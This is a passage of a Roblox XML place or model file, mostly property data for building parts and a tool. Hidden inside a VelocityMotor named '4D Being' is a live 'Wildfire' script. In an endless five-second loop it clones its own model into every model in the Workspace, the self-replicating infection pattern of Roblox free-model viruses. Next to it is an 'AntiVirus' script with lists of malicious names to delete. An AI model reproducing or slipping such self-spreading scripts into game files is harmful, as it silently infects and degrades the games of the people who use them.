					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>195</X>
						<Y>6.4000001</Y>
						<Z>198.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>9</X>
						<Y>7.20000029</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1230">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>6.4000001</Y>
						<Z>193</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>7.20000029</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1231">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>4.5999999</Y>
						<Z>206</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>3.60000014</Y>
						<Z>6</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1232">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>8.20000076</Y>
						<Z>204.5</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>3.60000014</Y>
						<Z>3</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1233">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>201.5</X>
						<Y>10.6000004</Y>
						<Z>199</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>15</X>
						<Y>1.20000005</Y>
						<Z>14</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="Part" referent="RBX1234">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">4</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">105</int>
					<CoordinateFrame name="CFrame">
						<X>208</X>
						<Y>6.4000001</Y>
						<Z>198.5</Z>
						<R00>0</R00>
						<R01>0</R01>
						<R02>1</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>-1</R20>
						<R21>0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">512</token>
					<string name="Name">Part</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>9</X>
						<Y>7.20000029</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
			</Item>
			<Item class="VelocityMotor" referent="RBX1235">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX1236">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">l = Instance.new(&quot;VelocityMotor&quot;)
l.Parent = script.Parent
l.Name = &quot;4D Being&quot;
script.Parent = l
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Model" referent="RBX1237">
						<Properties>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">4D Being</string>
							<Ref name="PrimaryPart">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX1238">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wildfire</string>
								<string name="Source">function dive()


p= game.Workspace:GetChildren()	


for i= 1, #p do				


if p[i].className == &quot;Model&quot; and p[i]:findFirstChild(&quot;4D Being&quot;) == nil then


script.Parent.Parent:clone().Parent = p[i]


end


end


end





while true do


wait(5)


dive()


end


</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
						<Item class="Script" referent="RBX1239">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">AntiVirus</string>
								<string name="Source">maliciousscripts = {&quot;Infected&quot;, &quot;Anti-Lag&quot;}
maliciousobjects = {&quot;OHAI&quot;, &quot;No samurai plzzz&quot;, &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;, &quot;IMDOINGITOKSODONTKILLMENOW&quot;}
maliciousclasses = {&quot;Geometry&quot;, &quot;Timer&quot;}
hiddenclasses = {&quot;AutoJoint&quot;, &quot;BackpackItem&quot;, &quot;Feature&quot;, &quot;Glue&quot;, &quot;HtmlWindow&quot;, &quot;JointInstance&quot;, &quot;LocalBackpack&quot;, &quot;LocalBackpackItem&quot;, &quot;MotorFeature&quot;, &quot;Mouse&quot;, &quot;Rotate&quot;, &quot;RotateP&quot;, &quot;RotateV&quot;, &quot;Snap&quot;, &quot;StockSound&quot;, &quot;VelocityMotor&quot;, &quot;Weld&quot;}

--set these three variables to your liking
local printAll = false
local fullscan = true
local doublescan = false
--set these three variables to your liking

--Type &quot;ScanForViruses(model,0,true)&quot; to scan a model after the initial scan. model should be the model (eg. game.Workspace.Model). Type &quot;ScanForViruses(model,0,false)&quot; to reveal all scripts.

function getAncestry(i)
	local s = &quot;&quot;
	local p = i.Parent
	s = p.Name
	while p ~= game do
		p = p.Parent
		s = p.Name..&quot;.&quot;..s
	end
	return s
end

function Check(i,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if i == nil then return end
	if printAll then print(s..&quot;Checking &quot;..i.Name) end
	if i == script then return end --don&apos;t need to check self, will still check children of self
	if i.className == &quot;Script&quot; then
		for x = 1, #maliciousscripts do
			if i.Name == maliciousscripts[x] then
--				print(&quot;Malicious script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --&quot;Infected&quot; scripts. Do I need to say more?
				i:Remove()
				return
			end
		end
		if i.Parent ~= nil and w == false then
--			print(&quot;Script &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;)
		end
	end
	for x = 1, #maliciousobjects do
		if i.Name == maliciousobjects[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --Unlikely that people will give a legitimate object a name used on the malicious object list
			i:Remove()
			return
		end
	end
	for x = 1, #maliciousclasses do
		if i.className == maliciousclasses[x] then
--			print(&quot;Malicious object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --unlikely to be useful, likely to be malicious and removed
			i:Remove()
			return
		end
	end
	for x = 1, #hiddenclasses do
		if (hiddenclasses[x] == &quot;Rotate&quot; or hiddenclasses[x] == &quot;Weld&quot; or hiddenclasses[x] == &quot;Snap&quot; or hiddenclasses[x] == &quot;Glue&quot; or hiddenclasses[x] == &quot;Motor&quot; or hiddenclasses[x] == &quot;AutoJoint&quot; or hiddenclasses[x] == &quot;JointInstance&quot; or hiddenclasses[x] == &quot;MotorFeature&quot; or hiddenclasses[x] == &quot;VelocityMotor&quot;) and i.Parent == game.JointsService then
			--do not notify of these
		else
			if i.className == hiddenclasses[x] then
--				print(&quot;Hidden object &quot;..i.Name..&quot; detected in &quot;..getAncestry(i)..&quot; (&quot;..i.className..&quot;)&quot;) --not necessarily malicious, but may be. Remove only if you didn&apos;t except the object to be in there
			end
		end
	end
end

_G[&quot;ScanForViruses&quot;] = function(m,n,w)
	local s = &quot;&quot;
	for a = 1, n do
		s = s..&quot;- - &quot;
	end
	if m == nil then return end
	if m == game.Stats then return end
	if m.Name == &quot;GuiRoot&quot; and m.Parent == game then return end
	if printAll then print(s..&quot;Scanning children of &quot;..m.Name) end
	local c = m:getChildren()
	if #c &gt; 0 then
		for i = 1,#c do
			Check(c[i],n+1,w)
			if (c[i] == game.Workspace) then
				ScanForViruses(c[i],n+1,true)
			else
				ScanForViruses(c[i],n+1,w)
			end
		end
	end
end

ScanForViruses(game.Workspace,1,true)
ScanForViruses(game.Players,1,true)
ScanForViruses(game.Lighting,1,true)
ScanForViruses(game.StarterPack,1,true)
ScanForViruses(game:findFirstChild(&quot;Teams&quot;),1,true)
ScanForViruses(game.Soundscape,1,true)

--print(&quot;QuickScan Complete&quot;)

if fullscan then wait(5) ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)

if doublescan then ScanForViruses(game,0,false) end

--print(&quot;Scan Complete&quot;)</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1240">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>208</X>
					<Y>15.4000006</Y>
					<Z>200</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>12</X>
					<Y>8.40000057</Y>
					<Z>2</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1241">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>234.5</X>
					<Y>9.40000057</Y>
					<Z>228.5</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>15</X>
					<Y>1.20000005</Y>
					<Z>7</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="Part" referent="RBX1242">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">4</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">24</int>
				<CoordinateFrame name="CFrame">
					<X>228.5</X>
					<Y>5.20000029</Y>
					<Z>228.5</Z>
					<R00>0</R00>
					<R01>0</R01>
					<R02>1</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>-1</R20>
					<R21>0</R21>
					<R22>0</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0.5</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">3</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>7</X>
					<Y>7.20000029</Y>
					<Z>3</Z>
				</Vector3>
			</Properties>
		</Item>
		<Item class="TrussPart" referent="RBX1243">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">5</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">5</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">192</int>
				<CoordinateFrame name="CFrame">
					<X>-39.0000534</X>
					<Y>9.39999866</Y>
					<Z>-50.9999504</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.5</float>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">5</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">5</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">800</token>
				<string name="Name">Truss</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">5</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<Vector3 name="size">
					<X>2</X>
					<Y>18</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Tool" referent="RBX1244">
			<Properties>
				<bool name="Enabled">true</bool>
				<CoordinateFrame name="Grip">
					<X>-1.5</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>-0.857573867</R00>
					<R01>-0.424154133</R01>
					<R02>0.290964484</R02>
					<R10>-0.514360785</R10>
					<R11>0.707430542</R11>
					<R12>-0.484742165</R12>
					<R20>-0.000231756538</R20>
					<R21>-0.56536293</R21>
					<R22>-0.824842215</R22>
				</CoordinateFrame>
				<string name="Name">Electric Blue (Blue Stratobloxxer)</string>
				<Content name="TextureId"><url>http://www.roblox.com/asset/?id=12503958</url></Content>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Part" referent="RBX1245">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1016</int>
					<CoordinateFrame name="CFrame">
						<X>200.5625</X>
						<Y>8.88818073</Y>
						<Z>206.499954</Z>
						<R00>2.90019216e-006</R00>
						<R01>0.99999994</R01>
						<R02>1.40563316e-005</R02>
						<R10>-0.99999994</R10>
						<R11>2.92053551e-006</R11>
						<R12>5.13872783e-006</R12>
						<R20>5.13868736e-006</R20>
						<R21>-1.40563461e-005</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">1</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Handle</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
